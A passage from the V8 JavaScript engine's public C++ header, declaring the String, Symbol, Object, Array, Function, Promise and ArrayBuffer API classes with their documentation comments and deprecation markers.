/** The number of Latin-1 characters in the string.*/
virtual size_t length() const = 0;
protected:
ExternalOneByteStringResource() {}
};
/**
* If the string is an external string, return the ExternalStringResourceBase
* regardless of the encoding, otherwise return NULL. The encoding of the
* string is returned in encoding_out.
*/
V8_INLINE ExternalStringResourceBase* GetExternalStringResourceBase(
Encoding* encoding_out) const;
/**
* Get the ExternalStringResource for an external string. Returns
* NULL if IsExternal() doesn't return true.
*/
V8_INLINE ExternalStringResource* GetExternalStringResource() const;
/**
* Get the ExternalOneByteStringResource for an external one-byte string.
* Returns NULL if IsExternalOneByte() doesn't return true.
*/
const ExternalOneByteStringResource* GetExternalOneByteStringResource() const;
V8_INLINE static String* Cast(v8::Value* obj);
// TODO(dcarney): remove with deprecation of New functions.
enum NewStringType {
kNormalString = static_cast<int>(v8::NewStringType::kNormal),
kInternalizedString = static_cast<int>(v8::NewStringType::kInternalized)
};
/** Allocates a new string from UTF-8 data.*/
static V8_DEPRECATE_SOON(
"Use maybe version",
Local<String> NewFromUtf8(Isolate* isolate, const char* data,
NewStringType type = kNormalString,
int length = -1));
/** Allocates a new string from UTF-8 data. Only returns an empty value when
* length > kMaxLength. **/
static MaybeLocal<String> NewFromUtf8(Isolate* isolate, const char* data,
v8::NewStringType type,
int length = -1);
/** Allocates a new string from Latin-1 data.*/
static V8_DEPRECATE_SOON(
"Use maybe version",
Local<String> NewFromOneByte(Isolate* isolate, const uint8_t* data,
NewStringType type = kNormalString,
int length = -1));
/** Allocates a new string from Latin-1 data. Only returns an empty value
* when length > kMaxLength. **/
static MaybeLocal<String> NewFromOneByte(Isolate* isolate,
const uint8_t* data,
v8::NewStringType type,
int length = -1);
/** Allocates a new string from UTF-16 data.*/
static V8_DEPRECATE_SOON(
"Use maybe version",
Local<String> NewFromTwoByte(Isolate* isolate, const uint16_t* data,
NewStringType type = kNormalString,
int length = -1));
/** Allocates a new string from UTF-16 data. Only returns an empty value when
* length > kMaxLength. **/
static MaybeLocal<String> NewFromTwoByte(Isolate* isolate,
const uint16_t* data,
v8::NewStringType type,
int length = -1);
/**
* Creates a new string by concatenating the left and the right strings
* passed in as parameters.
*/
static Local<String> Concat(Handle<String> left, Handle<String> right);
/**
* Creates a new external string using the data defined in the given
* resource. When the external string is no longer live on V8's heap the
* resource will be disposed by calling its Dispose method. The caller of
* this function should not otherwise delete or modify the resource. Neither
* should the underlying buffer be deallocated or modified except through the
* destructor of the external string resource.
*/
static V8_DEPRECATE_SOON(
"Use maybe version",
Local<String> NewExternal(Isolate* isolate,
ExternalStringResource* resource));
static MaybeLocal<String> NewExternalTwoByte(
Isolate* isolate, ExternalStringResource* resource);
/**
* Associate an external string resource with this string by transforming it
* in place so that existing references to this string in the JavaScript heap
* will use the external string resource. The external string resource's
* character contents need to be equivalent to this string.
* Returns true if the string has been changed to be an external string.
* The string is not modified if the operation fails. See NewExternal for
* information on the lifetime of the resource.
*/
bool MakeExternal(ExternalStringResource* resource);
/**
* Creates a new external string using the one-byte data defined in the given
* resource. When the external string is no longer live on V8's heap the
* resource will be disposed by calling its Dispose method. The caller of
* this function should not otherwise delete or modify the resource. Neither
* should the underlying buffer be deallocated or modified except through the
* destructor of the external string resource.
*/
static V8_DEPRECATE_SOON(
"Use maybe version",
Local<String> NewExternal(Isolate* isolate,
ExternalOneByteStringResource* resource));
static MaybeLocal<String> NewExternalOneByte(
Isolate* isolate, ExternalOneByteStringResource* resource);
/**
* Associate an external string resource with this string by transforming it
* in place so that existing references to this string in the JavaScript heap
* will use the external string resource. The external string resource's
* character contents need to be equivalent to this string.
* Returns true if the string has been changed to be an external string.
* The string is not modified if the operation fails. See NewExternal for
* information on the lifetime of the resource.
*/
bool MakeExternal(ExternalOneByteStringResource* resource);
/**
* Returns true if this string can be made external.
*/
bool CanMakeExternal();
/**
* Converts an object to a UTF-8-encoded character array. Useful if
* you want to print the object. If conversion to a string fails
* (e.g. due to an exception in the toString() method of the object)
* then the length() method returns 0 and the * operator returns
* NULL.
*/
class V8_EXPORT Utf8Value {
public:
explicit Utf8Value(Handle<v8::Value> obj);
~Utf8Value();
char* operator*() { return str_; }
const char* operator*() const { return str_; }
int length() const { return length_; }
private:
char* str_;
int length_;
// Disallow copying and assigning.
Utf8Value(const Utf8Value&);
void operator=(const Utf8Value&);
};
/**
* Converts an object to a two-byte string.
* If conversion to a string fails (eg. due to an exception in the toString()
* method of the object) then the length() method returns 0 and the * operator
* returns NULL.
*/
class V8_EXPORT Value {
public:
explicit Value(Handle<v8::Value> obj);
~Value();
uint16_t* operator*() { return str_; }
const uint16_t* operator*() const { return str_; }
int length() const { return length_; }
private:
uint16_t* str_;
int length_;
// Disallow copying and assigning.
Value(const Value&);
void operator=(const Value&);
};
private:
void VerifyExternalStringResourceBase(ExternalStringResourceBase* v,
Encoding encoding) const;
void VerifyExternalStringResource(ExternalStringResource* val) const;
static void CheckCast(v8::Value* obj);
};
/**
* A JavaScript symbol (ECMA-262 edition 6)
*
* This is an experimental feature. Use at your own risk.
*/
class V8_EXPORT Symbol : public Name {
public:
// Returns the print name string of the symbol, or undefined if none.
Local<Value> Name() const;
// Create a symbol. If name is not empty, it will be used as the description.
static Local<Symbol> New(
Isolate *isolate, Local<String> name = Local<String>());
// Access global symbol registry.
// Note that symbols created this way are never collected, so
// they should only be used for statically fixed properties.
// Also, there is only one global name space for the names used as keys.
// To minimize the potential for clashes, use qualified names as keys.
static Local<Symbol> For(Isolate *isolate, Local<String> name);
// Retrieve a global symbol. Similar to |For|, but using a separate
// registry that is not accessible by (and cannot clash with) JavaScript code.
static Local<Symbol> ForApi(Isolate *isolate, Local<String> name);
// Well-known symbols
static Local<Symbol> GetIterator(Isolate* isolate);
static Local<Symbol> GetUnscopables(Isolate* isolate);
static Local<Symbol> GetToStringTag(Isolate* isolate);
V8_INLINE static Symbol* Cast(v8::Value* obj);
private:
Symbol();
static void CheckCast(v8::Value* obj);
};
/**
* A private symbol
*
* This is an experimental feature. Use at your own risk.
*/
class V8_EXPORT Private : public Data {
public:
// Returns the print name string of the private symbol, or undefined if none.
Local<Value> Name() const;
// Create a private symbol. If name is not empty, it will be the description.
static Local<Private> New(
Isolate *isolate, Local<String> name = Local<String>());
// Retrieve a global private symbol. If a symbol with this name has not
// been retrieved in the same isolate before, it is created.
// Note that private symbols created this way are never collected, so
// they should only be used for statically fixed properties.
// Also, there is only one global name space for the names used as keys.
// To minimize the potential for clashes, use qualified names as keys,
// e.g., "Class#property".
static Local<Private> ForApi(Isolate *isolate, Local<String> name);
private:
Private();
};
/**
* A JavaScript number value (ECMA-262, 4.3.20)
*/
class V8_EXPORT Number : public Primitive {
public:
double Value() const;
static Local<Number> New(Isolate* isolate, double value);
V8_INLINE static Number* Cast(v8::Value* obj);
private:
Number();
static void CheckCast(v8::Value* obj);
};
/**
* A JavaScript value representing a signed integer.
*/
class V8_EXPORT Integer : public Number {
public:
static Local<Integer> New(Isolate* isolate, int32_t value);
static Local<Integer> NewFromUnsigned(Isolate* isolate, uint32_t value);
int64_t Value() const;
V8_INLINE static Integer* Cast(v8::Value* obj);
private:
Integer();
static void CheckCast(v8::Value* obj);
};
/**
* A JavaScript value representing a 32-bit signed integer.
*/
class V8_EXPORT Int32 : public Integer {
public:
int32_t Value() const;
V8_INLINE static Int32* Cast(v8::Value* obj);
private:
Int32();
static void CheckCast(v8::Value* obj);
};
/**
* A JavaScript value representing a 32-bit unsigned integer.
*/
class V8_EXPORT Uint32 : public Integer {
public:
uint32_t Value() const;
V8_INLINE static Uint32* Cast(v8::Value* obj);
private:
Uint32();
static void CheckCast(v8::Value* obj);
};
enum PropertyAttribute {
None = 0,
ReadOnly = 1 << 0,
DontEnum = 1 << 1,
DontDelete = 1 << 2
};
enum ExternalArrayType {
kExternalInt8Array = 1,
kExternalUint8Array,
kExternalInt16Array,
kExternalUint16Array,
kExternalInt32Array,
kExternalUint32Array,
kExternalFloat32Array,
kExternalFloat64Array,
kExternalUint8ClampedArray,
// Legacy constant names
kExternalByteArray = kExternalInt8Array,
kExternalUnsignedByteArray = kExternalUint8Array,
kExternalShortArray = kExternalInt16Array,
kExternalUnsignedShortArray = kExternalUint16Array,
kExternalIntArray = kExternalInt32Array,
kExternalUnsignedIntArray = kExternalUint32Array,
kExternalFloatArray = kExternalFloat32Array,
kExternalDoubleArray = kExternalFloat64Array,
kExternalPixelArray = kExternalUint8ClampedArray
};
/**
* Accessor[Getter|Setter] are used as callback functions when
* setting|getting a particular property. See Object and ObjectTemplate's
* method SetAccessor.
*/
typedef void (*AccessorGetterCallback)(
Local<String> property,
const PropertyCallbackInfo<Value>& info);
typedef void (*AccessorNameGetterCallback)(
Local<Name> property,
const PropertyCallbackInfo<Value>& info);
typedef void (*AccessorSetterCallback)(
Local<String> property,
Local<Value> value,
const PropertyCallbackInfo<void>& info);
typedef void (*AccessorNameSetterCallback)(
Local<Name> property,
Local<Value> value,
const PropertyCallbackInfo<void>& info);
/**
* Access control specifications.
*
* Some accessors should be accessible across contexts. These
* accessors have an explicit access control parameter which specifies
* the kind of cross-context access that should be allowed.
*
* TODO(dcarney): Remove PROHIBITS_OVERWRITING as it is now unused.
*/
enum AccessControl {
DEFAULT = 0,
ALL_CAN_READ = 1,
ALL_CAN_WRITE = 1 << 1,
PROHIBITS_OVERWRITING = 1 << 2
};
/**
* A JavaScript object (ECMA-262, 4.3.3)
*/
class V8_EXPORT Object : public Value {
public:
V8_DEPRECATE_SOON("Use maybe version",
bool Set(Handle<Value> key, Handle<Value> value));
Maybe<bool> Set(Local<Context> context, Local<Value> key, Local<Value> value);
V8_DEPRECATE_SOON("Use maybe version",
bool Set(uint32_t index, Handle<Value> value));
Maybe<bool> Set(Local<Context> context, uint32_t index, Local<Value> value);
// Sets an own property on this object bypassing interceptors and
// overriding accessors or read-only properties.
//
// Note that if the object has an interceptor the property will be set
// locally, but since the interceptor takes precedence the local property
// will only be returned if the interceptor doesn't return a value.
//
// Note also that this only works for named properties.
V8_DEPRECATE_SOON("Use maybe version",
bool ForceSet(Handle<Value> key, Handle<Value> value,
PropertyAttribute attribs = None));
Maybe<bool> ForceSet(Local<Context> context, Local<Value> key,
Local<Value> value, PropertyAttribute attribs = None);
V8_DEPRECATE_SOON("Use maybe version", Local<Value> Get(Handle<Value> key));
MaybeLocal<Value> Get(Local<Context> context, Local<Value> key);
V8_DEPRECATE_SOON("Use maybe version", Local<Value> Get(uint32_t index));
MaybeLocal<Value> Get(Local<Context> context, uint32_t index);
/**
* Gets the property attributes of a property which can be None or
* any combination of ReadOnly, DontEnum and DontDelete. Returns
* None when the property doesn't exist.
*/
V8_DEPRECATE_SOON("Use maybe version",
PropertyAttribute GetPropertyAttributes(Handle<Value> key));
Maybe<PropertyAttribute> GetPropertyAttributes(Local<Context> context,
Local<Value> key);
/**
* Returns Object.getOwnPropertyDescriptor as per ES5 section 15.2.3.3.
*/
V8_DEPRECATE_SOON("Use maybe version",
Local<Value> GetOwnPropertyDescriptor(Local<String> key));
MaybeLocal<Value> GetOwnPropertyDescriptor(Local<Context> context,
Local<String> key);
V8_DEPRECATE_SOON("Use maybe version", bool Has(Handle<Value> key));
Maybe<bool> Has(Local<Context> context, Local<Value> key);
V8_DEPRECATE_SOON("Use maybe version", bool Delete(Handle<Value> key));
Maybe<bool> Delete(Local<Context> context, Local<Value> key);
V8_DEPRECATE_SOON("Use maybe version", bool Has(uint32_t index));
Maybe<bool> Has(Local<Context> context, uint32_t index);
V8_DEPRECATE_SOON("Use maybe version", bool Delete(uint32_t index));
Maybe<bool> Delete(Local<Context> context, uint32_t index);
V8_DEPRECATE_SOON("Use maybe version",
bool SetAccessor(Handle<String> name,
AccessorGetterCallback getter,
AccessorSetterCallback setter = 0,
Handle<Value> data = Handle<Value>(),
AccessControl settings = DEFAULT,
PropertyAttribute attribute = None));
V8_DEPRECATE_SOON("Use maybe version",
bool SetAccessor(Handle<Name> name,
AccessorNameGetterCallback getter,
AccessorNameSetterCallback setter = 0,
Handle<Value> data = Handle<Value>(),
AccessControl settings = DEFAULT,
PropertyAttribute attribute = None));
Maybe<bool> SetAccessor(Local<Context> context, Local<Name> name,
AccessorNameGetterCallback getter,
AccessorNameSetterCallback setter = 0,
MaybeLocal<Value> data = MaybeLocal<Value>(),
AccessControl settings = DEFAULT,
PropertyAttribute attribute = None);
void SetAccessorProperty(Local<Name> name,
Local<Function> getter,
Handle<Function> setter = Handle<Function>(),
PropertyAttribute attribute = None,
AccessControl settings = DEFAULT);
/**
* Functionality for private properties.
* This is an experimental feature, use at your own risk.
* Note: Private properties are inherited. Do not rely on this, since it may
* change.
*/
// TODO(dcarney): convert these or remove?
bool HasPrivate(Handle<Private> key);
bool SetPrivate(Handle<Private> key, Handle<Value> value);
bool DeletePrivate(Handle<Private> key);
Local<Value> GetPrivate(Handle<Private> key);
/**
* Returns an array containing the names of the enumerable properties
* of this object, including properties from prototype objects. The
* array returned by this method contains the same values as would
* be enumerated by a for-in statement over this object.
*/
V8_DEPRECATE_SOON("Use maybe version", Local<Array> GetPropertyNames());
MaybeLocal<Array> GetPropertyNames(Local<Context> context);
/**
* This function has the same functionality as GetPropertyNames but
* the returned array doesn't contain the names of properties from
* prototype objects.
*/
V8_DEPRECATE_SOON("Use maybe version", Local<Array> GetOwnPropertyNames());
MaybeLocal<Array> GetOwnPropertyNames(Local<Context> context);
/**
* Get the prototype object. This does not skip objects marked to
* be skipped by __proto__ and it does not consult the security
* handler.
*/
Local<Value> GetPrototype();
/**
* Set the prototype object. This does not skip objects marked to
* be skipped by __proto__ and it does not consult the security
* handler.
*/
V8_DEPRECATE_SOON("Use maybe version",
bool SetPrototype(Handle<Value> prototype));
Maybe<bool> SetPrototype(Local<Context> context, Local<Value> prototype);
/**
* Finds an instance of the given function template in the prototype
* chain.
*/
Local<Object> FindInstanceInPrototypeChain(Handle<FunctionTemplate> tmpl);
/**
* Call builtin Object.prototype.toString on this object.
* This is different from Value::ToString() that may call
* user-defined toString function. This one does not.
*/
V8_DEPRECATE_SOON("Use maybe version", Local<String> ObjectProtoToString());
MaybeLocal<String> ObjectProtoToString(Local<Context> context);
/**
* Returns the name of the function invoked as a constructor for this object.
*/
Local<String> GetConstructorName();
/** Gets the number of internal fields for this Object. */
int InternalFieldCount();
/** Same as above, but works for Persistents */
V8_INLINE static int InternalFieldCount(
const PersistentBase<Object>& object) {
return object.val_->InternalFieldCount();
}
/** Gets the value from an internal field. */
V8_INLINE Local<Value> GetInternalField(int index);
/** Sets the value in an internal field. */
void SetInternalField(int index, Handle<Value> value);
/**
* Gets a 2-byte-aligned native pointer from an internal field. This field
* must have been set by SetAlignedPointerInInternalField, everything else
* leads to undefined behavior.
*/
V8_INLINE void* GetAlignedPointerFromInternalField(int index);
/** Same as above, but works for Persistents */
V8_INLINE static void* GetAlignedPointerFromInternalField(
const PersistentBase<Object>& object, int index) {
return object.val_->GetAlignedPointerFromInternalField(index);
}
/**
* Sets a 2-byte-aligned native pointer in an internal field. To retrieve such
* a field, GetAlignedPointerFromInternalField must be used, everything else
* leads to undefined behavior.
*/
void SetAlignedPointerInInternalField(int index, void* value);
// Testers for local properties.
V8_DEPRECATE_SOON("Use maybe version",
bool HasOwnProperty(Handle<String> key));
Maybe<bool> HasOwnProperty(Local<Context> context, Local<Name> key);
V8_DEPRECATE_SOON("Use maybe version",
bool HasRealNamedProperty(Handle<String> key));
Maybe<bool> HasRealNamedProperty(Local<Context> context, Local<Name> key);
V8_DEPRECATE_SOON("Use maybe version",
bool HasRealIndexedProperty(uint32_t index));
Maybe<bool> HasRealIndexedProperty(Local<Context> context, uint32_t index);
V8_DEPRECATE_SOON("Use maybe version",
bool HasRealNamedCallbackProperty(Handle<String> key));
Maybe<bool> HasRealNamedCallbackProperty(Local<Context> context,
Local<Name> key);
/**
* If result.IsEmpty() no real property was located in the prototype chain.
* This means interceptors in the prototype chain are not called.
*/
V8_DEPRECATE_SOON(
"Use maybe version",
Local<Value> GetRealNamedPropertyInPrototypeChain(Handle<String> key));
MaybeLocal<Value> GetRealNamedPropertyInPrototypeChain(Local<Context> context,
Local<Name> key);
/**
* Gets the property attributes of a real property in the prototype chain,
* which can be None or any combination of ReadOnly, DontEnum and DontDelete.
* Interceptors in the prototype chain are not called.
*/
V8_DEPRECATE_SOON(
"Use maybe version",
Maybe<PropertyAttribute> GetRealNamedPropertyAttributesInPrototypeChain(
Handle<String> key));
Maybe<PropertyAttribute> GetRealNamedPropertyAttributesInPrototypeChain(
Local<Context> context, Local<Name> key);
/**
* If result.IsEmpty() no real property was located on the object or
* in the prototype chain.
* This means interceptors in the prototype chain are not called.
*/
V8_DEPRECATE_SOON("Use maybe version",
Local<Value> GetRealNamedProperty(Handle<String> key));
MaybeLocal<Value> GetRealNamedProperty(Local<Context> context,
Local<Name> key);
/**
* Gets the property attributes of a real property which can be
* None or any combination of ReadOnly, DontEnum and DontDelete.
* Interceptors in the prototype chain are not called.
*/
V8_DEPRECATE_SOON("Use maybe version",
Maybe<PropertyAttribute> GetRealNamedPropertyAttributes(
Handle<String> key));
Maybe<PropertyAttribute> GetRealNamedPropertyAttributes(
Local<Context> context, Local<Name> key);
/** Tests for a named lookup interceptor.*/
bool HasNamedLookupInterceptor();
/** Tests for an index lookup interceptor.*/
bool HasIndexedLookupInterceptor();
/**
* Turns on access check on the object if the object is an instance of
* a template that has access check callbacks. If an object has no
* access check info, the object cannot be accessed by anyone.
*/
V8_DEPRECATE_SOON("No alternative", void TurnOnAccessCheck());
/**
* Returns the identity hash for this object. The current implementation
* uses a hidden property on the object to store the identity hash.
*
* The return value will never be 0. Also, it is not guaranteed to be
* unique.
*/
int GetIdentityHash();
/**
* Access hidden properties on JavaScript objects. These properties are
* hidden from the executing JavaScript and only accessible through the V8
* C++ API. Hidden properties introduced by V8 internally (for example the
* identity hash) are prefixed with "v8::".
*/
// TODO(dcarney): convert these to take a isolate and optionally bailout?
bool SetHiddenValue(Handle<String> key, Handle<Value> value);
Local<Value> GetHiddenValue(Handle<String> key);
bool DeleteHiddenValue(Handle<String> key);
/**
* Clone this object with a fast but shallow copy. Values will point
* to the same values as the original object.
*/
// TODO(dcarney): take an isolate and optionally bail out?
Local<Object> Clone();
/**
* Returns the context in which the object was created.
*/
Local<Context> CreationContext();
/**
* Set the backing store of the indexed properties to be managed by the
* embedding layer. Access to the indexed properties will follow the rules
* spelled out in CanvasPixelArray.
* Note: The embedding program still owns the data and needs to ensure that
* the backing store is preserved while V8 has a reference.
*/
void SetIndexedPropertiesToPixelData(uint8_t* data, int length);
bool HasIndexedPropertiesInPixelData();
uint8_t* GetIndexedPropertiesPixelData();
int GetIndexedPropertiesPixelDataLength();
/**
* Set the backing store of the indexed properties to be managed by the
* embedding layer. Access to the indexed properties will follow the rules
* spelled out for the CanvasArray subtypes in the WebGL specification.
* Note: The embedding program still owns the data and needs to ensure that
* the backing store is preserved while V8 has a reference.
*/
void SetIndexedPropertiesToExternalArrayData(void* data,
ExternalArrayType array_type,
int number_of_elements);
bool HasIndexedPropertiesInExternalArrayData();
void* GetIndexedPropertiesExternalArrayData();
ExternalArrayType GetIndexedPropertiesExternalArrayDataType();
int GetIndexedPropertiesExternalArrayDataLength();
/**
* Checks whether a callback is set by the
* ObjectTemplate::SetCallAsFunctionHandler method.
* When an Object is callable this method returns true.
*/
bool IsCallable();
/**
* Call an Object as a function if a callback is set by the
* ObjectTemplate::SetCallAsFunctionHandler method.
*/
V8_DEPRECATE_SOON("Use maybe version",
Local<Value> CallAsFunction(Handle<Value> recv, int argc,
Handle<Value> argv[]));
MaybeLocal<Value> CallAsFunction(Local<Context> context, Handle<Value> recv,
int argc, Handle<Value> argv[]);
/**
* Call an Object as a constructor if a callback is set by the
* ObjectTemplate::SetCallAsFunctionHandler method.
* Note: This method behaves like the Function::NewInstance method.
*/
V8_DEPRECATE_SOON("Use maybe version",
Local<Value> CallAsConstructor(int argc,
Handle<Value> argv[]));
MaybeLocal<Value> CallAsConstructor(Local<Context> context, int argc,
Local<Value> argv[]);
/**
* Return the isolate to which the Object belongs to.
*/
V8_DEPRECATE_SOON("Keep track of isolate correctly", Isolate* GetIsolate());
static Local<Object> New(Isolate* isolate);
V8_INLINE static Object* Cast(Value* obj);
private:
Object();
static void CheckCast(Value* obj);
Local<Value> SlowGetInternalField(int index);
void* SlowGetAlignedPointerFromInternalField(int index);
};
/**
* An instance of the built-in array constructor (ECMA-262, 15.4.2).
*/
class V8_EXPORT Array : public Object {
public:
uint32_t Length() const;
/**
* Clones an element at index |index|. Returns an empty
* handle if cloning fails (for any reason).
*/
V8_DEPRECATE_SOON("Use maybe version",
Local<Object> CloneElementAt(uint32_t index));
MaybeLocal<Object> CloneElementAt(Local<Context> context, uint32_t index);
/**
* Creates a JavaScript array with the given length. If the length
* is negative the returned array will have length 0.
*/
static Local<Array> New(Isolate* isolate, int length = 0);
V8_INLINE static Array* Cast(Value* obj);
private:
Array();
static void CheckCast(Value* obj);
};
template<typename T>
class ReturnValue {
public:
template <class S> V8_INLINE ReturnValue(const ReturnValue<S>& that)
: value_(that.value_) {
TYPE_CHECK(T, S);
}
// Handle setters
template <typename S> V8_INLINE void Set(const Persistent<S>& handle);
template <typename S> V8_INLINE void Set(const Handle<S> handle);
// Fast primitive setters
V8_INLINE void Set(bool value);
V8_INLINE void Set(double i);
V8_INLINE void Set(int32_t i);
V8_INLINE void Set(uint32_t i);
// Fast JS primitive setters
V8_INLINE void SetNull();
V8_INLINE void SetUndefined();
V8_INLINE void SetEmptyString();
// Convenience getter for Isolate
V8_INLINE Isolate* GetIsolate();
// Pointer setter: Uncompilable to prevent inadvertent misuse.
template <typename S>
V8_INLINE void Set(S* whatever);
private:
template<class F> friend class ReturnValue;
template<class F> friend class FunctionCallbackInfo;
template<class F> friend class PropertyCallbackInfo;
template <class F, class G, class H>
friend class PersistentValueMapBase;
V8_INLINE void SetInternal(internal::Object* value) { *value_ = value; }
V8_INLINE internal::Object* GetDefaultValue();
V8_INLINE explicit ReturnValue(internal::Object** slot);
internal::Object** value_;
};
/**
* The argument information given to function call callbacks. This
* class provides access to information about the context of the call,
* including the receiver, the number and values of arguments, and
* the holder of the function.
*/
template<typename T>
class FunctionCallbackInfo {
public:
V8_INLINE int Length() const;
V8_INLINE Local<Value> operator[](int i) const;
V8_INLINE Local<Function> Callee() const;
V8_INLINE Local<Object> This() const;
V8_INLINE Local<Object> Holder() const;
V8_INLINE bool IsConstructCall() const;
V8_INLINE Local<Value> Data() const;
V8_INLINE Isolate* GetIsolate() const;
V8_INLINE ReturnValue<T> GetReturnValue() const;
// This shouldn't be public, but the arm compiler needs it.
static const int kArgsLength = 7;
protected:
friend class internal::FunctionCallbackArguments;
friend class internal::CustomArguments<FunctionCallbackInfo>;
static const int kHolderIndex = 0;
static const int kIsolateIndex = 1;
static const int kReturnValueDefaultValueIndex = 2;
static const int kReturnValueIndex = 3;
static const int kDataIndex = 4;
static const int kCalleeIndex = 5;
static const int kContextSaveIndex = 6;
V8_INLINE FunctionCallbackInfo(internal::Object** implicit_args,
internal::Object** values,
int length,
bool is_construct_call);
internal::Object** implicit_args_;
internal::Object** values_;
int length_;
int is_construct_call_;
};
/**
* The information passed to a property callback about the context
* of the property access.
*/
template<typename T>
class PropertyCallbackInfo {
public:
V8_INLINE Isolate* GetIsolate() const;
V8_INLINE Local<Value> Data() const;
V8_INLINE Local<Object> This() const;
V8_INLINE Local<Object> Holder() const;
V8_INLINE ReturnValue<T> GetReturnValue() const;
// This shouldn't be public, but the arm compiler needs it.
static const int kArgsLength = 6;
protected:
friend class MacroAssembler;
friend class internal::PropertyCallbackArguments;
friend class internal::CustomArguments<PropertyCallbackInfo>;
static const int kHolderIndex = 0;
static const int kIsolateIndex = 1;
static const int kReturnValueDefaultValueIndex = 2;
static const int kReturnValueIndex = 3;
static const int kDataIndex = 4;
static const int kThisIndex = 5;
V8_INLINE PropertyCallbackInfo(internal::Object** args) : args_(args) {}
internal::Object** args_;
};
typedef void (*FunctionCallback)(const FunctionCallbackInfo<Value>& info);
/**
* A JavaScript function object (ECMA-262, 15.3).
*/
class V8_EXPORT Function : public Object {
public:
/**
* Create a function in the current execution context
* for a given FunctionCallback.
*/
static Local<Function> New(Isolate* isolate,
FunctionCallback callback,
Local<Value> data = Local<Value>(),
int length = 0);
V8_DEPRECATE_SOON("Use maybe version",
Local<Object> NewInstance(int argc,
Handle<Value> argv[])) const;
MaybeLocal<Object> NewInstance(Local<Context> context, int argc,
Handle<Value> argv[]) const;
V8_DEPRECATE_SOON("Use maybe version", Local<Object> NewInstance()) const;
MaybeLocal<Object> NewInstance(Local<Context> context) const {
return NewInstance(context, 0, nullptr);
}
V8_DEPRECATE_SOON("Use maybe version",
Local<Value> Call(Handle<Value> recv, int argc,
Handle<Value> argv[]));
MaybeLocal<Value> Call(Local<Context> context, Handle<Value> recv, int argc,
Handle<Value> argv[]);
void SetName(Handle<String> name);
Handle<Value> GetName() const;
/**
* Name inferred from variable or property assignment of this function.
* Used to facilitate debugging and profiling of JavaScript code written
* in an OO style, where many functions are anonymous but are assigned
* to object properties.
*/
Handle<Value> GetInferredName() const;
/**
* User-defined name assigned to the "displayName" property of this function.
* Used to facilitate debugging and profiling of JavaScript code.
*/
Handle<Value> GetDisplayName() const;
/**
* Returns zero based line number of function body and
* kLineOffsetNotFound if no information available.
*/
int GetScriptLineNumber() const;
/**
* Returns zero based column number of function body and
* kLineOffsetNotFound if no information available.
*/
int GetScriptColumnNumber() const;
/**
* Tells whether this function is builtin.
*/
bool IsBuiltin() const;
/**
* Returns scriptId.
*/
int ScriptId() const;
/**
* Returns the original function if this function is bound, else returns
* v8::Undefined.
*/
Local<Value> GetBoundFunction() const;
ScriptOrigin GetScriptOrigin() const;
V8_INLINE static Function* Cast(Value* obj);
static const int kLineOffsetNotFound;
private:
Function();
static void CheckCast(Value* obj);
};
/**
* An instance of the built-in Promise constructor (ES6 draft).
* This API is experimental. Only works with --harmony flag.
*/
class V8_EXPORT Promise : public Object {
public:
class V8_EXPORT Resolver : public Object {
public:
/**
* Create a new resolver, along with an associated promise in pending state.
*/
static V8_DEPRECATE_SOON("Use maybe version",
Local<Resolver> New(Isolate* isolate));
static MaybeLocal<Resolver> New(Local<Context> context);
/**
* Extract the associated promise.
*/
Local<Promise> GetPromise();
/**
* Resolve/reject the associated promise with a given value.
* Ignored if the promise is no longer pending.
*/
V8_DEPRECATE_SOON("Use maybe version", void Resolve(Handle<Value> value));
Maybe<bool> Resolve(Local<Context> context, Handle<Value> value);
V8_DEPRECATE_SOON("Use maybe version", void Reject(Handle<Value> value));
Maybe<bool> Reject(Local<Context> context, Handle<Value> value);
V8_INLINE static Resolver* Cast(Value* obj);
private:
Resolver();
static void CheckCast(Value* obj);
};
/**
* Register a resolution/rejection handler with a promise.
* The handler is given the respective resolution/rejection value as
* an argument. If the promise is already resolved/rejected, the handler is
* invoked at the end of turn.
*/
V8_DEPRECATE_SOON("Use maybe version",
Local<Promise> Chain(Handle<Function> handler));
MaybeLocal<Promise> Chain(Local<Context> context, Handle<Function> handler);
V8_DEPRECATE_SOON("Use maybe version",
Local<Promise> Catch(Handle<Function> handler));
MaybeLocal<Promise> Catch(Local<Context> context, Handle<Function> handler);
V8_DEPRECATE_SOON("Use maybe version",
Local<Promise> Then(Handle<Function> handler));
MaybeLocal<Promise> Then(Local<Context> context, Handle<Function> handler);
/**
* Returns true if the promise has at least one derived promise, and
* therefore resolve/reject handlers (including default handler).
*/
bool HasHandler();
V8_INLINE static Promise* Cast(Value* obj);
private:
Promise();
static void CheckCast(Value* obj);
};
#ifndef V8_ARRAY_BUFFER_INTERNAL_FIELD_COUNT
// The number of required internal fields can be defined by embedder.
#define V8_ARRAY_BUFFER_INTERNAL_FIELD_COUNT 2
#endif
/**
* An instance of the built-in ArrayBuffer constructor (ES6 draft 15.13.5).
* This API is experimental and may change significantly.
*/
class V8_EXPORT ArrayBuffer : public Object {
public:
/**
* Allocator that V8 uses to allocate |ArrayBuffer|'s memory.
* The allocator is a global V8 setting. It should be set with
* V8::SetArrayBufferAllocator prior to creation of a first ArrayBuffer.
*
* This API is experimental and may change significantly.
*/
class V8_EXPORT Allocator { // NOLINT
public:
virtual ~Allocator() {}
/**
* Allocate |length| bytes. Return NULL if allocation is not successful.
* Memory should be initialized to zeroes.
*/
virtual void* Allocate(size_t length) = 0;
/**
* Allocate |length| bytes. Return NULL if allocation is not successful.
* Memory does not have to be initialized.
*/
virtual void* AllocateUninitialized(size_t length) = 0;
/**
* Free the memory block of size |length|, pointed to by |data|.
* That memory is guaranteed to be previously allocated by |Allocate|.
*/
virtual void Free(void* data, size_t length) = 0;
};
/**
* The contents of an |ArrayBuffer|. Externalization of |ArrayBuffer|
* returns an instance of this class, populated, with a pointer to data
* and byte length.
*
* The Data pointer of ArrayBuffer::Contents is always allocated with
* Allocator::Allocate that is set with V8::SetArrayBufferAllocator.
*
* This API is experimental and may change significantly.
*/
class V8_EXPORT Contents { // NOLINT
public:
Contents() : data_(NULL), byte_length_(0) {}
void* Data() const { return data_; }
size_t ByteLength() const { return byte_length_; }
private:
void* data_;
size_t byte_length_;
friend class ArrayBuffer;
};
/**
* Data length in bytes.
*/
size_t ByteLength() const;
/**
* Create a new ArrayBuffer. Allocate |byte_length| bytes.
* Allocated memory will be owned by a created ArrayBuffer and
* will be deallocated when it is garbage-collected,
* unless the object is externalized.
*/
static Local<ArrayBuffer> New(Isolate* isolate, size_t byte_length);
/**
* Create a new ArrayBuffer over an existing memory block.
* The created array buffer is immediately in externalized state.
* The memory block will not be reclaimed when a created ArrayBuffer
* is garbage-collected.
*/
static Local<ArrayBuffer> New(Isolate* isolate, void* data,
size_t byte_length);
/**
